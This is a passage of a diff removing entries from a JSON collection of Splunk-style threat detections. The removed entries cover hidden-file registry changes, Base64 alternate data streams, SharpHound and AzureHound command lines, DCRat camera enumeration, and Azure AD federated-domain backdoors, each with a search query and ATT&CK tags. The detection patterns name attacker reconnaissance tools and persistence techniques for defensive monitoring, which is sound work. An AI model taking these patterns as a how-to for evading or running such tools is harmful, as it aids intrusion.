"cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.014", - "mitre_attack_technique": "Active Setup", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -179190,344 +144637,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Disable Show Hidden Files", - "description": "The following analytic detects modifications to the Windows registry that disable the display of hidden files. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with hidden file settings. This activity is significant because malware, such as worms and trojan spyware, often use hidden files to evade detection. If confirmed malicious, this behavior could allow an attacker to conceal malicious files on the system, making it harder for security tools and analysts to identify and remove the threat.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden\" OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\HideFileExt\" Registry.registry_value_data = \"0x00000001\") OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowSuperHidden\" Registry.registry_value_data = \"0x00000000\" )) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_show_hidden_files_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Show Hidden Files' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.001", - "mitre_attack_technique": "Hidden Files and Directories", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "FIN13", - "HAFNIUM", - "Lazarus Group", - "LuminousMoth", - "Mustang Panda", - "Rocke", - "Transparent Tribe", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1564", - "mitre_attack_technique": "Hide Artifacts", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Alternate DataStream - Base64 Content", - "description": "The following analytic detects the creation of Alternate Data Streams (ADS) with Base64 content on Windows systems. It leverages Sysmon Event ID 15, which captures file creation events, including the content of named streams. ADS can conceal malicious payloads, making them significant for SOC monitoring. This detection identifies hidden streams that may contain executables, scripts, or configuration data, often used by malware to evade detection. If confirmed malicious, this activity could allow attackers to hide and execute payloads, persist in the environment, or access sensitive information without being easily detected.", - "search": "`sysmon` EventCode=15 NOT Contents IN (\"-\",\"[ZoneTransfer]*\") | regex TargetFilename=\"(?[^\\\\\\]+\\.(ZIP|ISO|IMG|CAB|TAR|GZ|RAR|7Z))\\\\\\\\((.+\\\\\\\\)+)?(?.+\\.(BAT|BIN|CAB|CMD|COM|CPL|EX_|EXE|GADGET|INF1|INS|INX||HTM|HTML|ISU|JAR|JOB|JS|JSE|LNK|MSC|MSI|MSP|MST|PAF|PIF|PS1|REG|RGS|SCR|SCT|SHB|SHS|U3P|VB|VBE|VBS|VBSCRIPT|WS|WSF|WSH))\\\"?$\"| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_process_executed_from_container_file_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "Remcos", - "Snake Keylogger", - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious process $process_name$ was launched from $file_name$ on $dest$.", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.008", - "mitre_attack_technique": "Masquerade File Type", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Windows Suspect Process With Authentication Traffic", - "description": "The following analytic detects executables running from public or temporary locations that are communicating over Windows domain authentication ports/protocols such as LDAP (389), LDAPS (636), and Kerberos (88). It leverages network traffic data to identify processes originating from user-controlled directories. This activity is significant because legitimate applications rarely run from these locations and attempt domain authentication, making it a potential indicator of compromise. If confirmed malicious, attackers could leverage this to access domain resources, potentially leading to further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.process_id) as process_id from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port IN (\"88\",\"389\",\"636\") AND All_Traffic.app IN (\"*\\\\users\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") by All_Traffic.app,All_Traffic.src,All_Traffic.src_ip,All_Traffic.user,All_Traffic.dest,All_Traffic.dest_ip,All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rex field=app \".*\\\\\\(?.*)$\" | rename app as process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_suspect_process_with_authentication_traffic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "The process $process_name$ on $src$ has been communicating with $dest$ on $dest_port$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows User Execution Malicious URL Shortcut File", - "description": "The following analytic detects the creation of suspicious URL shortcut link files, often used by malware like CHAOS ransomware. It leverages the Endpoint.Filesystem datamodel to identify .url files created outside standard directories, such as Program Files. This activity is significant as it may indicate an attempt to execute malicious code upon system reboot. If confirmed malicious, this could allow an attacker to achieve persistence and execute harmful payloads, potentially leading to further system compromise and data loss.", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where NOT(Filesystem.file_path IN (\"*\\\\Program Files*\")) Filesystem.file_name = *.url by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path Filesystem.process_guid Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_user_execution_malicious_url_shortcut_file_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "NjRAT", - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process created URL shortcut file in $file_path$ of $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -182010,64 +146076,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Windows Gather Victim Host Information Camera", - "description": "The following analytic detects a PowerShell script that enumerates camera devices on the targeted host. This detection leverages PowerShell Script Block Logging, specifically looking for commands querying Win32_PnPEntity for camera-related information. This activity is significant as it is commonly observed in DCRat malware, which collects camera data to send to its command-and-control server. If confirmed malicious, this behavior could indicate an attempt to gather sensitive visual information from the host, potentially leading to privacy breaches or further exploitation.", - "search": "`powershell` EventCode=4104 ScriptBlockText= \"* Win32_PnPEntity *\" ScriptBlockText= \"*SELECT*\" ScriptBlockText= \"*WHERE*\" ScriptBlockText = \"*PNPClass*\" ScriptBlockText IN (\"*Image*\", \"*Camera*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_gather_victim_host_information_camera_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A Powershell script to enumerate camera detected on host - $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1592.001", - "mitre_attack_technique": "Hardware", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1592", - "mitre_attack_technique": "Gather Victim Host Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -182809,116 +146817,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Azure AD New Custom Domain Added", - "description": "The following analytic detects the addition of a new custom domain within an Azure Active Directory (AD) tenant. It leverages Azure AD AuditLogs to identify successful \"Add unverified domain\" operations. This activity is significant as it may indicate an adversary attempting to establish persistence by setting up identity federation backdoors, allowing them to impersonate users and bypass authentication mechanisms. If confirmed malicious, this could enable attackers to gain unauthorized access, escalate privileges, and maintain long-term access to the Azure AD environment, posing a severe security risk.", - "search": " `azure_monitor_aad` operationName=\"Add unverified domain\" properties.result=success | rename properties.* as * | rename targetResources{}.displayName as domain | stats count min(_time) as firstTime max(_time) as lastTime by user, domain, result, operationName, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_custom_domain_added_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new custom domain, $domain$ , was added by $user$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.002", - "mitre_attack_technique": "Trust Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD New Federated Domain Added", - "description": "The following analytic detects the addition of a new federated domain within an Azure Active Directory tenant. It leverages Azure AD AuditLogs to identify successful \"Set domain authentication\" operations. This activity is significant as it may indicate the use of the Azure AD identity federation backdoor technique, allowing an adversary to establish persistence. If confirmed malicious, the attacker could impersonate any user, bypassing password and MFA requirements, potentially leading to unauthorized access and control over the Azure AD environment.", - "search": " `azure_monitor_aad` operationName=\"Set domain authentication\" \"properties.result\"=success | rename properties.* as * | rename targetResources{}.displayName as domain | stats count min(_time) as firstTime max(_time) as lastTime by user, domain, result, operationName, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_federated_domain_added_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new federated domain, $domain$ , was added by $user$", - "risk_score": 81, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.002", - "mitre_attack_technique": "Trust Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -183912,1789 +147810,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Detect AzureHound Command-Line Arguments", - "description": "The following analytic detects the execution of the `Invoke-AzureHound` command-line argument, commonly used by the AzureHound tool. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because AzureHound is often used for reconnaissance in Azure environments, potentially exposing sensitive information. If confirmed malicious, this activity could allow an attacker to map out Azure Active Directory structures, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*invoke-azurehound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ using AzureHound to enumerate AzureAD.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound File Modifications", - "description": "The following analytic detects the creation of specific AzureHound-related files, such as `*-azurecollection.zip` and various `.json` files, on disk. It leverages data from the Endpoint.Filesystem datamodel, focusing on file creation events with specific filenames. This activity is significant because AzureHound is a tool used to gather information about Azure environments, similar to SharpHound for on-premises Active Directory. If confirmed malicious, this activity could indicate an attacker is collecting sensitive Azure environment data, potentially leading to further exploitation or privilege escalation within the cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*-azurecollection.zip\", \"*-azprivroleadminrights.json\", \"*-azglobaladminrights.json\", \"*-azcloudappadmins.json\", \"*-azapplicationadmins.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to AzureHound, a AzureAD enumeration utility, has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Command-Line Arguments", - "description": "The following analytic detects the execution of SharpHound command-line arguments, specifically `-collectionMethod` and `invoke-bloodhound`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as SharpHound is commonly used for Active Directory enumeration, which can be a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially compromising sensitive information and critical systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*-collectionMethod*\",\"*invoke-bloodhound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible SharpHound command-Line arguments identified on $dest$", - "risk_score": 